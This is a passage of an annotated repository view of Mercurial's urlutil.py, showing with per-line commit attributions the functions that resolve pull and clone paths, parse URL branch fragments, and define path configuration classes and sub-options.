diff changeset
538
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
539 Note that for now, we cannot get multiple destination so this function is "trivial".
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
540
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
541 The `action` parameter will be used for the error message.
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
542 """
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
543 if source is None:
46963
0d8541e53e46 urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46962
diff changeset
544 if b'default' in ui.paths:
0d8541e53e46 urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46962
diff changeset
545 url = ui.paths[b'default'].rawloc
0d8541e53e46 urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46962
diff changeset
546 else:
0d8541e53e46 urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46962
diff changeset
547 # XXX this is the historical default behavior, but that is not
0d8541e53e46 urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46962
diff changeset
548 # great, consider breaking BC on this.
0d8541e53e46 urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46962
diff changeset
549 url = b'default'
0d8541e53e46 urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46962
diff changeset
550 else:
0d8541e53e46 urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46962
diff changeset
551 if source in ui.paths:
0d8541e53e46 urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46962
diff changeset
552 url = ui.paths[source].rawloc
0d8541e53e46 urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46962
diff changeset
553 else:
0d8541e53e46 urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46962
diff changeset
554 # Try to resolve as a local path or URI.
47027
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
555 path = try_path(ui, source)
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
556 if path is not None:
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
557 url = path.rawloc
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
558 else:
46963
0d8541e53e46 urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46962
diff changeset
559 url = source
46936
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
560 return parseurl(url, default_branches)
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
561
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
562
46934
ebb13f9a9ba8 urlutil: add a `get_clone_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46928
diff changeset
563 def get_clone_path(ui, source, default_branches=()):
ebb13f9a9ba8 urlutil: add a `get_clone_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46928
diff changeset
564 """return the `(origsource, path, branch)` selected as clone source"""
46964
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
565 if source is None:
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
566 if b'default' in ui.paths:
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
567 url = ui.paths[b'default'].rawloc
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
568 else:
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
569 # XXX this is the historical default behavior, but that is not
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
570 # great, consider breaking BC on this.
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
571 url = b'default'
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
572 else:
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
573 if source in ui.paths:
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
574 url = ui.paths[source].rawloc
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
575 else:
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
576 # Try to resolve as a local path or URI.
47027
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
577 path = try_path(ui, source)
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
578 if path is not None:
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
579 url = path.rawloc
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
580 else:
46964
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
581 url = source
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
582 clone_path, branch = parseurl(url, default_branches)
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
583 return url, clone_path, branch
46934
ebb13f9a9ba8 urlutil: add a `get_clone_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46928
diff changeset
584
ebb13f9a9ba8 urlutil: add a `get_clone_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46928
diff changeset
585
46908
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
586 def parseurl(path, branches=None):
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
587 '''parse url#branch, returning (url, (branch, branches))'''
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
588 u = url(path)
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
589 branch = None
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
590 if u.fragment:
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
591 branch = u.fragment
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
592 u.fragment = None
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
593 return bytes(u), (branch, branches or [])
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
594
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
595
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
596 class paths(dict):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
597 """Represents a collection of paths and their configs.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
598
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
599 Data is initially derived from ui instances and the config files they have
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
600 loaded.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
601 """
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
602
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
603 def __init__(self, ui):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
604 dict.__init__(self)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
605
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
606 for name, loc in ui.configitems(b'paths', ignoresub=True):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
607 # No location is the same as not existing.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
608 if not loc:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
609 continue
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
610 loc, sub_opts = ui.configsuboptions(b'paths', name)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
611 self[name] = path(ui, name, rawloc=loc, suboptions=sub_opts)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
612
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
613 for name, p in sorted(self.items()):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
614 p.chain_path(ui, self)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
615
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
616 def getpath(self, ui, name, default=None):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
617 """Return a ``path`` from a string, falling back to default.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
618
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
619 ``name`` can be a named path or locations. Locations are filesystem
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
620 paths or URIs.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
621
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
622 Returns None if ``name`` is not a registered path, a URI, or a local
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
623 path to a repo.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
624 """
47029
9ea75ea23534 urlutil: deprecate `getpath`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47028
diff changeset
625 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
9ea75ea23534 urlutil: deprecate `getpath`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47028
diff changeset
626 self.deprecwarn(msg, '6.0')
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
627 # Only fall back to default if no path was requested.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
628 if name is None:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
629 if not default:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
630 default = ()
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
631 elif not isinstance(default, (tuple, list)):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
632 default = (default,)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
633 for k in default:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
634 try:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
635 return self[k]
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
636 except KeyError:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
637 continue
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
638 return None
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
639
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
640 # Most likely empty string.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
641 # This may need to raise in the future.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
642 if not name:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
643 return None
47027
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
644 if name in self:
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
645 return self[name]
47027
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
646 else:
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
647 # Try to resolve as a local path or URI.
47027
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
648 path = try_path(ui, name)
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
649 if path is None:
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
650 raise error.RepoError(_(b'repository %s does not exist') % name)
47027
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
651 return path.rawloc
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
652
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
653
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
654 _pathsuboptions = {}
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
655
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
656
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
657 def pathsuboption(option, attr):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
658 """Decorator used to declare a path sub-option.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
659
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
660 Arguments are the sub-option name and the attribute it should set on
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
661 ``path`` instances.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
662
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
663 The decorated function will receive as arguments a ``ui`` instance,
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
664 ``path`` instance, and the string value of this option from the config.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
665 The function should return the value that will be set on the ``path``
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
666 instance.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
667
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
668 This decorator can be used to perform additional verification of
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
669 sub-options and to change the type of sub-options.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
670 """
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
671
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
672 def register(func):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
673 _pathsuboptions[option] = (attr, func)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
674 return func
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
675
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
676 return register
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
677
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
678
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
679 @pathsuboption(b'pushurl', b'pushloc')
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
680 def pushurlpathoption(ui, path, value):
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
681 u = url(value)
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
682 # Actually require a URL.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
683 if not u.scheme:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
684 ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
685 return None
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
686
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
687 # Don't support the #foo syntax in the push URL to declare branch to
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
688 # push.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
689 if u.fragment:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
690 ui.warn(
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
691 _(
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
692 b'("#fragment" in paths.%s:pushurl not supported; '
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
693 b'ignoring)\n'
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
694 )
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
695 % path.name
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
696 )
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
697 u.fragment = None
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
698
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
699 return bytes(u)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
700
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
701
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
702 @pathsuboption(b'pushrev', b'pushrev')
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
703 def pushrevpathoption(ui, path, value):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
704 return value
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
705
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
706
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
707 class path(object):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
708 """Represents an individual path and its configuration."""
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
709
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
710 def __init__(self, ui, name, rawloc=None, suboptions=None):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
711 """Construct a path from its config options.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
712
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
713 ``ui`` is the ``ui`` instance the path is coming from.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
714 ``name`` is the symbolic name of the path.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
715 ``rawloc`` is the raw location, as defined in the config.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
716 ``pushloc`` is the raw locations pushes should be made to.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
717
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
718 If ``name`` is not defined, we require that the location be a) a local
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
719 filesystem path with a .hg directory or b) a URL. If not,
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
720 ``ValueError`` is raised.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
721 """
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
722 if not rawloc:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
723 raise ValueError(b'rawloc must be defined')
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
724
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
725 # Locations may define branches via syntax <base>#<branch>.
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
726 u = url(rawloc)
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
727 branch = None
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
728 if u.fragment:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
729 branch = u.fragment
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
730 u.fragment = None
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
731
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
732 self.url = u
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
733 # the url from the config/command line before dealing with `path://`
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
734 self.raw_url = u.copy()
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
735 self.branch = branch
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
736
33524c46a092 urlutil: extract `path` related code into a new module
